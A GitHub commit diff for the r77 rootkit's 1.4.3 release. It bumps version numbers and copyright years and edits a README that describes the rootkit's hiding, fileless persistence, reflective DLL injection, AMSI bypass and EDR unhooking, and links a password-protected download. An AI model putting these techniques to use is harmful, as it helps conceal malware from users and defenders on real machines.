Skip to content

Commit 72b68a1

Browse files
author
bytecode77
committed
1.4.3
1 parent 7731f11 commit 72b68a1

File tree

5 files changed

+27
-29
lines changed

5 files changed

+27
-29
lines changed

$Docs/Documentation.docx

1.92 KB
Binary file not shown.

Global/GlobalAssemblyInfo.cs

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
using System.Reflection;
22

3-
[assembly: AssemblyVersion("1.4.2")]
4-
[assembly: AssemblyFileVersion("1.4.2")]
5-
[assembly: AssemblyCopyright("© bytecode77, 2022.")]
3+
[assembly: AssemblyVersion("1.4.3")]
4+
[assembly: AssemblyFileVersion("1.4.3")]
5+
[assembly: AssemblyCopyright("© bytecode77, 2023.")]
66

77
namespace Global
88
{

LICENSE.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
Copyright (c) 2022, bytecode77
1+
Copyright (c) 2023, bytecode77
22
All rights reserved.
33

44
Redistribution and use in source and binary forms, with or without

README.md

Lines changed: 22 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -2,18 +2,18 @@
22

33
## Ring 3 rootkit
44

5-
r77 is a ring 3 Rootkit that hides following entities from all processes:
5+
r77 is a ring 3 rootkit that hides everything:
66

7-
- Files, directories, junctions, named pipes, scheduled tasks
8-
- Processes
9-
- CPU usage
7+
- Files, directories
8+
- Processes & CPU usage
109
- Registry keys & values
1110
- Services
1211
- TCP & UDP connections
12+
- Junctions, named pipes, scheduled tasks
1313

1414
## Hiding by prefix
1515

16-
All entities where the name starts with `"$77"` are hidden.
16+
Everything that starts with `"$77"` is hidden.
1717

1818
![](https://bytecode77.com/images/pages/r77-rootkit/hiding.png)
1919

@@ -25,15 +25,15 @@ The dynamic configuration system allows to hide processes by **PID** and by **na
2525

2626
The configuration is located in `HKEY_LOCAL_MACHINE\SOFTWARE\$77config` and is writable by any process without elevated privileges. The DACL of this key is set to grant full access to any user.
2727

28-
The `$77config` key is hidden when RegEdit is injected with the rootkit.
28+
In addition, the `$77config` key is hidden by the rootkit.
2929

3030
## Installer
3131

32-
r77 is deployable using a single file `"Install.exe"`. The installer persists r77 and injects all currently running processes.
32+
The deployment of r77 requires only one file: `Install.exe`. Execution persists r77 on the system and injects all running processes.
3333

34-
`Uninstall.exe` removes r77 from the system and gracefully detaches the rootkit from all processes.
34+
`Uninstall.exe` removes r77 from the system completely, and gracefully.
3535

36-
`Install.shellcode` is the shellcode equivalent of the installer. This way, the installer can be integrated without dropping `Install.exe`. It can simply be loaded into memory, casted to a function pointer, and executed:
36+
`Install.shellcode` is the shellcode equivalent of the installer. This way, the installation can be integrated without dropping `Install.exe`. The shellcode can simply be loaded into memory, casted to a function pointer, and executed:
3737

3838
```
3939
int main()
@@ -55,16 +55,6 @@ int main()
5555
}
5656
```
5757

58-
## Child process hooking
59-
60-
When a process creates a child process, the new process is injected before it can run any of its own instructions. The function `NtResumeThread` is always called when a new process is created. Therefore, it's a suitable target to hook. Because a 32-bit process can spawn a 64-bit child process and vice versa, the r77 service provides a named pipe to handle child process injection requests.
61-
62-
In addition, there is a periodic check every 100ms for new processes that might have been missed by child process hooking. This is necessary because some processes are protected and cannot be injected, such as services.exe.
63-
64-
## In-memory injection
65-
66-
The rootkit DLL (`r77-x86.dll` and `r77-x64.dll`) can be injected into a process from memory and doesn't need to be stored on the disk. **Reflective DLL injection** is used to achieve this. The DLL provides an exported function that when called, loads all sections of the DLL, handles dependency loading and relocations, and finally calls `DllMain`.
67-
6858
## Fileless persistence
6959

7060
The rootkit resides in the system memory and does not write any files to the disk. This is achieved in multiple stages.
@@ -88,6 +78,16 @@ No executables or DLL's are ever stored on the disk. The stager is stored in the
8878

8979
The PowerShell and .NET dependencies are present in a fresh installation of Windows 7 and Windows 10. Please review the [documentation](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf) for a complete description of the fileless initialization.
9080

81+
## Child process hooking
82+
83+
When a process creates a child process, the new process is injected before it can run any of its own instructions. The function `NtResumeThread` is always called when a new process is created. Therefore, it's a suitable target to hook. Because a 32-bit process can spawn a 64-bit child process and vice versa, the r77 service provides a named pipe to handle child process injection requests.
84+
85+
In addition, there is a periodic check every 100ms for new processes that might have been missed by child process hooking. This is necessary because some processes are protected and cannot be injected, such as services.exe.
86+
87+
## In-memory injection
88+
89+
The rootkit DLL (`r77-x86.dll` and `r77-x64.dll`) can be injected into a process from memory and doesn't need to be stored on the disk. **Reflective DLL injection** is used to achieve this. The DLL provides an exported function that when called, loads all sections of the DLL, handles dependency loading and relocations, and finally calls `DllMain`.
90+
9191
## Hooking
9292

9393
Detours is used to hook several functions from `ntdll.dll`. These low-level syscall wrappers are called by **any** WinAPI or framework implementation.
@@ -102,18 +102,16 @@ Detours is used to hook several functions from `ntdll.dll`. These low-level sysc
102102
- EnumServicesStatusExW
103103
- NtDeviceIoControlFile
104104

105-
The only exception is `advapi32.dll` and `sechost.dll`. These functions are hooked to hide services. This is because the actual service enumeration happens in services.exe, which cannot be injected.
106-
107105
## AV/EDR evasion
108106

109107
Several AV and EDR evasion techniques are in use:
110108

111-
- **AMSI bypass:** The PowerShell inline script disables AMSI by patching `amsi.dll!AmsiScanBuffer` to always return `AMSI_RESULT_CLEAN`.
109+
- **AMSI bypass:** The PowerShell inline script disables AMSI by patching `amsi.dll!AmsiScanBuffer` to always return `AMSI_RESULT_CLEAN`. Polymorphism is used to evade signature detection of the AMSI bypass.
112110
- **DLL unhooking:** Since EDR solutions monitor API calls by hooking `ntdll.dll`, these hooks need to be removed by loading a fresh copy of `ntdll.dll` from disk and restoring the original section. Otherwise, process hollowing would be detected.
113111

114112
## Test environment
115113

116-
The Test Console can be used to inject r77 to or detach r77 from individual processes.
114+
The Test Console is a useful tool to inject r77 into individual processes and to test drive the configuration system.
117115

118116
![](https://bytecode77.com/images/pages/r77-rootkit/testconsole.png)
119117

@@ -123,7 +121,7 @@ Please read the [technical documentation](https://docs.bytecode77.com/r77-rootki
123121

124122
## Downloads
125123

126-
[![](https://bytecode77.com/public/fileicons/zip.png) r77 Rootkit 1.4.2.zip](https://downloads.bytecode77.com/r77Rootkit%201.4.2.zip)
124+
[![](https://bytecode77.com/public/fileicons/zip.png) r77 Rootkit 1.4.3.zip](https://downloads.bytecode77.com/r77Rootkit%201.4.3.zip)
127125
(**ZIP Password:** bytecode77)<br />
128126
[![](https://bytecode77.com/public/fileicons/pdf.png) Technical Documentation](https://docs.bytecode77.com/r77-rootkit/Technical%20Documentation.pdf)
129127

TestConsole/Views/AboutPopup.xaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@
3232
<StackPanel>
3333
<Image Source="/TestConsole;component/Resources/AboutTitle.png" Stretch="UniformToFill" Width="320" HorizontalAlignment="Center" Margin="0,0,0,20" />
3434
<Image Source="/TestConsole;component/Resources/AboutBanner.png" Stretch="None" HorizontalAlignment="Center" Margin="0,0,0,35" />
35-
<TextBlock Text="© bytecode77, 2022." HorizontalAlignment="Center" Margin="0,0,0,35" />
35+
<TextBlock Text="© bytecode77, 2023." HorizontalAlignment="Center" Margin="0,0,0,35" />
3636
<Border BorderThickness="0,1,0,0" BorderBrush="#20ffffff" Margin="0,0,0,30" />
3737
<DockPanel Margin="0,0,0,10">
3838
<Image Source="/TestConsole;component/Resources/AboutWebsite16.png" Stretch="None" Margin="0,0,5,0" />

0 commit comments

Comments
 (0)